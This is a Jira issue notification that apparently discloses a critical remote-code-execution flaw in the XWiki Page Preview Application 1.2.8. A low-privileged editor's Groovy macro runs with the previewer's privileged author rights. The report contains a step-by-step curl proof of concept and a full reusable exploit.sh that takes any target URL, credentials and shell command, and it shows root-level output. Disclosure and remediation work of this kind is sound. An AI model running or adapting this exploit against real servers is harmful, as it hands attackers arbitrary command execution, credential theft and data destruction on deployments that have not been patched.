This issue has been created
 
 
Page Preview Application / cid:jira-generated-image-avatar-f36db48b-d549-4ab4-9dc9-a13a18219797 PAGEPREV-19 Open

Page Preview Application renders attacker-controlled pages with privileged author rights

 
View issue   ·   Add comment
 

Issue created

 
cid:jira-generated-image-avatar-bbe23f3b-cb06-43c9-9817-aa6ea64cd651 Łukasz Rybak created this issue on 14/Aug/26 21:45
 
Summary: Page Preview Application renders attacker-controlled pages with privileged author rights
Issue Type: cid:jira-generated-image-avatar-f36db48b-d549-4ab4-9dc9-a13a18219797 Bug
Affects Versions: 1.2.8
Assignee: Unassigned
Attachments: image-2026-08-14-21-39-39-537.png, image-2026-08-14-21-39-58-888.png, image-2026-08-14-21-40-48-334.png
Created: 14/Aug/26 21:45
Labels: attack_escalation security
Priority: cid:jira-generated-image-static-critical-3b11e9f6-8b41-4c26-abf9-8a231e31b7fe Critical
Reporter: Łukasz Rybak
Description:

Page Preview Application renders attacker-controlled pages with privileged author rights

Summary

The official Page Preview Application renders the content of an attacker-selected page from inside the administrator-authored XWiki.PagePreviewer Groovy script. A registered user who can edit any page can store a script macro that is correctly rejected when the page is viewed directly, then request a preview of that page. The nested
getRenderedContent() call inherits the privileged Page Previewer execution context and executes the attacker's macro.

This allows a user without SCRIPT, PROGRAM, or ADMIN rights to execute arbitrary JVM code and operating-system commands as the account running XWiki. No administrator or victim interaction is required after the extension has been installed.

Affected products

  • Ecosystem: Maven / XWiki Extension Manager
  • Package: org.xwiki.contrib:application-page-preview-ui
  • Confirmed affected version: 1.2.8
  • Affected versions: At least 1.2.8; 
  • Patched versions: None known at the time of testing

Preconditions

  • XWiki 18.6.0.
  • Official org.xwiki.contrib:application-page-preview-ui version 1.2.8 installed through Extension Manager.
  • A registered user cve with EDIT but without SCRIPT, PROGRAM, or ADMIN rights.

The PoC authenticates through the normal XWiki login form and uses only the resulting low-user session.

Technical details

The vulnerable data flow in release 1.2.12 is in XWiki/PagePreviewer.xml:

def path = request.path
if ((path != null)&&(path!="")&&(path!="undefined")) {
  def reference = convertPathToDocumentReference(path)
  // ...
  if (reference != doc.documentReference) {
    def page = xwiki.getDocument(reference)
    def pageContent = page.getValue("definition");
    if (pageContent==null||pageContent=="")
     pageContent = page.content
    content = page.getRenderedContent(pageContent, page.syntaxId, "html/5.0")
  }
}

The source checkout contains the same flow at pages/src/main/resources/XWiki/PagePreviewer.xml:81-94. The official 1.2.8 XAR downloaded from the XWiki Maven repository was independently inspected and contains the same lines.

Path is controlled by the HTTP client. It is converted to a document reference and used to select both the page and the content passed to getRenderedContent(). XWiki.PagePreviewer is installed with a privileged author because its
outer code is a Groovy macro and the extension documentation explicitly requires programming rights. The nested render does not restore the selected document's low-privileged author context before executing its script macros.

Consequently, the authorization decision for script execution is made using the privileged Page Previewer context, not
the author of the attacker-controlled content.

Manual proof of concept

Manual terminal reproduction

1. Log in and verify the attacker context

BASE='http://127.0.0.1:8888'
USER_NAME='cve'
USER_PASSWORD='cve1234'
WORK=$(mktemp -d /tmp/page-preview-manual.XXXXXX)
COOKIE="$WORK/cookies.txt"
PAGE="PagePreviewIdProof$(date +%s%N)"

curl -sS -c "$COOKIE" -b "$COOKIE" \
  "$BASE/bin/login/XWiki/XWikiLogin" -o "$WORK/login.html"
LOGIN_TOKEN=$(sed -n 's/.*name="form_token"[^>]*value="\([^"]*\)".*/\1/p' \
  "$WORK/login.html" | head -n1)

curl -fsS -c "$COOKIE" -b "$COOKIE" -X POST \
  "$BASE/bin/loginsubmit/XWiki/XWikiLogin" \
  --data-urlencode "j_username=$USER_NAME" \
  --data-urlencode "j_password=$USER_PASSWORD" \
  --data-urlencode "form_token=$LOGIN_TOKEN" -o /dev/null

curl -fsS -b "$COOKIE" "$BASE/bin/view/Main/WebHome" -o "$WORK/main.html"
grep -o 'data-xwiki-user-reference="[^"]*"' "$WORK/main.html" | head -n1

curl -sS -b "$COOKIE" -o /dev/null -w 'Global administration HTTP: %{http_code}\n' \
  "$BASE/bin/admin/XWiki/XWikiPreferences?editor=globaladmin"

Expected output:

data-xwiki-user-reference="xwiki:XWiki.cve"
Global administration HTTP: 403

2. Create an attacker-authored page containing the id payload

COMMAND_B64=$(printf '%s' '/usr/bin/id' | base64 -w0)
CONTENT="{{groovy}}def command=new String(java.util.Base64.getDecoder().decode(\"$COMMAND_B64\"),\"UTF-8\");def process=new ProcessBuilder(\"/bin/sh\",\"-c\",command).redirectErrorStream(true).start();process.waitFor();println(\"PAGEPREVIEW-RCE-B64-\"+java.util.Base64.getEncoder().encodeToString(process.inputStream.bytes)){{/groovy}}"
PAGE_XML="<page xmlns=\"http://www.xwiki.org\"><title>Page Preview id proof</title><syntax>xwiki/2.1</syntax><content>${CONTENT}</content></page>"

curl -sS -b "$COOKIE" -X PUT \
  -H 'Content-Type: application/xml' \
  --data-binary "$PAGE_XML" \
  "$BASE/rest/wikis/xwiki/spaces/Sandbox/pages/$PAGE" \
  -o "$WORK/page.xml" -w 'Page creation HTTP: %{http_code}\n'

Expected result: HTTP 201 on first creation (or 202 when updating).

3. Negative control: direct rendering is denied

curl -fsS -b "$COOKIE" "$BASE/bin/view/Sandbox/$PAGE?xpage=plain" \
  -o "$WORK/control.html"
grep -o 'script macro is not allowed[^<]*' "$WORK/control.html" | head -n1
! grep -q 'PAGEPREVIEW-RCE-B64-' "$WORK/control.html"

Expected result: XWiki reports that the Groovy script macro is not allowed and the command marker is absent.

4. Trigger the official Page Preview endpoint and decode stdout

curl -fsS -b "$COOKIE" --get \
  "$BASE/bin/get/XWiki/PagePreviewer" \
  --data-urlencode "path=/bin/view/Sandbox/$PAGE" \
  --data-urlencode 'xpage=plain' \
  --data-urlencode 'outputSyntax=plain' -o "$WORK/result.json"

MARKER=$(grep -o 'PAGEPREVIEW-RCE-B64-[A-Za-z0-9+/=]*' "$WORK/result.json" | head -n1)
OUTPUT_B64=${MARKER#PAGEPREVIEW-RCE-B64-}

echo '----- command output -----'
printf '%s' "$OUTPUT_B64" | base64 -d
echo
echo '----- end command output -----'
echo "Negative-control page (direct Groovy execution must be blocked): $BASE/bin/view/Sandbox/$PAGE"
echo "Vulnerable Page Preview trigger: $BASE/bin/get/XWiki/PagePreviewer?path=%2Fbin%2Fview%2FSandbox%2F$PAGE&xpage=plain&outputSyntax=plain"
echo "Evidence directory: $WORK"

Confirmed output in the local lab:

----- command output -----
uid=0(root) gid=0(root) groups=0(root)
----- end command output -----

The exact script blocked in step 3 executes when rendered through XWiki.PagePreviewer.

5. Verify author separation

curl -fsS -b "$COOKIE" -H 'Accept: application/xml' \
  "$BASE/rest/wikis/xwiki/spaces/Sandbox/pages/$PAGE" \
  | grep -oE '<(author|creator)>[^<]+'

curl -fsS -b "$COOKIE" -H 'Accept: application/xml' \
  "$BASE/rest/wikis/xwiki/spaces/XWiki/pages/PagePreviewer" \
  | grep -oE '<(author|creator)>[^<]+'

Observed authors in the lab:

<author>XWiki.cve
<creator>XWiki.cve
<author>XWiki.test
<creator>XWiki.test

Automated proof of concept

Save the following complete script as exploit.sh. It accepts the target, credentials, and command through
-url, -u, -p, and -c.

#!/usr/bin/env bash
set -euo pipefail

usage()
{
  cat <<'EOF'
Usage:
  ./exploit.sh -url <base_url> -u <username> -p <password> -c <command>

Example:
  ./exploit.sh -url http://127.0.0.1:8888 -u cve -p cve1234 -c id
EOF
}

BASE=''; USER_NAME=''; USER_PASSWORD=''; COMMAND=''
while [[ $# -gt 0 ]]; do
  case "$1" in
    -url|--url) [[ $# -ge 2 ]] || { usage >&2; exit 2; }; BASE=$2; shift 2 ;;
    -u|--username) [[ $# -ge 2 ]] || { usage >&2; exit 2; }; USER_NAME=$2; shift 2 ;;
    -p|--password) [[ $# -ge 2 ]] || { usage >&2; exit 2; }; USER_PASSWORD=$2; shift 2 ;;
    -c|--command) [[ $# -ge 2 ]] || { usage >&2; exit 2; }; COMMAND=$2; shift 2 ;;
    -h|--help) usage; exit 0 ;;
    *) echo "Unknown argument: $1" >&2; usage >&2; exit 2 ;;
  esac
done
[[ -n "$BASE" && -n "$USER_NAME" && -n "$USER_PASSWORD" && -n "$COMMAND" ]] || { usage >&2; exit 2; }

BASE=${BASE%/}
WORK=$(mktemp -d /tmp/page-preview-rce.XXXXXX)
COOKIE="$WORK/cookies.txt"
PAGE="PagePreviewCommandProof$(date +%s%N)"
COMMAND_B64=$(printf '%s' "$COMMAND" | base64 -w0)

echo '[1/5] Logging in as the low-privileged user'
curl -sS -c "$COOKIE" -b "$COOKIE" "$BASE/bin/login/XWiki/XWikiLogin" -o "$WORK/login.html"
LOGIN_TOKEN=$(sed -n 's/.*name="form_token"[^>]*value="\([^"]*\)".*/\1/p' "$WORK/login.html" | head -n1)
[[ -n "$LOGIN_TOKEN" ]]
curl -fsS -c "$COOKIE" -b "$COOKIE" -X POST "$BASE/bin/loginsubmit/XWiki/XWikiLogin" \
  --data-urlencode "j_username=$USER_NAME" --data-urlencode "j_password=$USER_PASSWORD" \
  --data-urlencode "form_token=$LOGIN_TOKEN" -o /dev/null
curl -fsS -b "$COOKIE" "$BASE/bin/view/Main/WebHome" -o "$WORK/main.html"
grep -q "data-xwiki-user-reference=\"xwiki:XWiki.${USER_NAME}\"" "$WORK/main.html"
echo "Authenticated identity: XWiki.$USER_NAME"

echo '[2/5] Verifying lack of global administration access'
ADMIN_CODE=$(curl -sS -b "$COOKIE" -o /dev/null -w '%{http_code}' \
  "$BASE/bin/admin/XWiki/XWikiPreferences?editor=globaladmin")
echo "Global administration HTTP: $ADMIN_CODE"
[[ "$ADMIN_CODE" == 403 ]]

echo '[3/5] Creating an attacker-authored page containing the command payload'
CONTENT="{{groovy}}def command=new String(java.util.Base64.getDecoder().decode(\"$COMMAND_B64\"),\"UTF-8\");def process=new ProcessBuilder(\"/bin/sh\",\"-c\",command).redirectErrorStream(true).start();process.waitFor();println(\"PAGEPREVIEW-RCE-B64-\"+java.util.Base64.getEncoder().encodeToString(process.inputStream.bytes)){{/groovy}}"
PAGE_XML="<page xmlns=\"http://www.xwiki.org\"><title>Page Preview command proof</title><syntax>xwiki/2.1</syntax><content>${CONTENT}</content></page>"
PAGE_CODE=$(curl -sS -b "$COOKIE" -X PUT -H 'Content-Type: application/xml' \
  --data-binary "$PAGE_XML" "$BASE/rest/wikis/xwiki/spaces/Sandbox/pages/$PAGE" \
  -o "$WORK/page.xml" -w '%{http_code}')
echo "Page creation HTTP: $PAGE_CODE"
[[ "$PAGE_CODE" == 201 || "$PAGE_CODE" == 202 ]]

echo '[4/5] Negative control: direct rendering blocks Groovy'
curl -fsS -b "$COOKIE" "$BASE/bin/view/Sandbox/$PAGE?xpage=plain" -o "$WORK/control.html"
grep -q 'script macro is not allowed' "$WORK/control.html"
! grep -q 'PAGEPREVIEW-RCE-B64-' "$WORK/control.html"
echo 'Direct page rendering: blocked'

echo '[5/5] Triggering XWiki.PagePreviewer'
curl -fsS -b "$COOKIE" --get "$BASE/bin/get/XWiki/PagePreviewer" \
  --data-urlencode "path=/bin/view/Sandbox/$PAGE" \
  --data-urlencode 'xpage=plain' \
  --data-urlencode 'outputSyntax=plain' -o "$WORK/result.json"
MARKER=$(grep -o 'PAGEPREVIEW-RCE-B64-[A-Za-z0-9+/=]*' "$WORK/result.json" | head -n1)
[[ -n "$MARKER" ]]
OUTPUT_B64=${MARKER#PAGEPREVIEW-RCE-B64-}
echo '----- command output -----'
printf '%s' "$OUTPUT_B64" | base64 -d
echo
echo '----- end command output -----'
echo "Negative-control page (direct Groovy execution must be blocked): $BASE/bin/view/Sandbox/$PAGE"
echo "Vulnerable Page Preview trigger: $BASE/bin/get/XWiki/PagePreviewer?path=%2Fbin%2Fview%2FSandbox%2F$PAGE&xpage=plain&outputSyntax=plain"
echo "Evidence directory: $WORK"

Run it as follows:

chmod +x exploit.sh
./exploit.sh -url http://127.0.0.1:8888 -u cve -p cve1234 -c id

45253_image-2026-08-14-21-39-39-537.png

45252_image-2026-08-14-21-39-58-888.png

45251_image-2026-08-14-21-40-48-334.png

Impact

This is an authenticated remote code execution and privilege-escalation vulnerability. Any registered user with EDIT rights on one page can execute arbitrary code with the privileges of the XWiki JVM. Depending on the deployment, this allows reading XWiki configuration and database credentials, modifying or deleting wiki data, accessing files available to the service account, and pivoting to other services reachable from the server.

On an open wiki where Guest has EDIT rights, the same primitive may become unauthenticated RCE. 

Severity

CVSS 4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N (Critical)

Weaknesses

CWE: CWE-863 (Incorrect Authorization), CWE-94 (Improper Control of Generation of Code)

Suggested remediation

Do not render attacker-selected content while the Page Previewer author is active. Execute rendering under the selected document's effective metadata author and source reference, and reject the preview if the caller lacks VIEW rights.
Prefer a restricted rendering mode that disables script macros for previews. Add a regression test where an EDIT-only user's page contains a Groovy macro: direct rendering and Page Preview rendering must both reject it.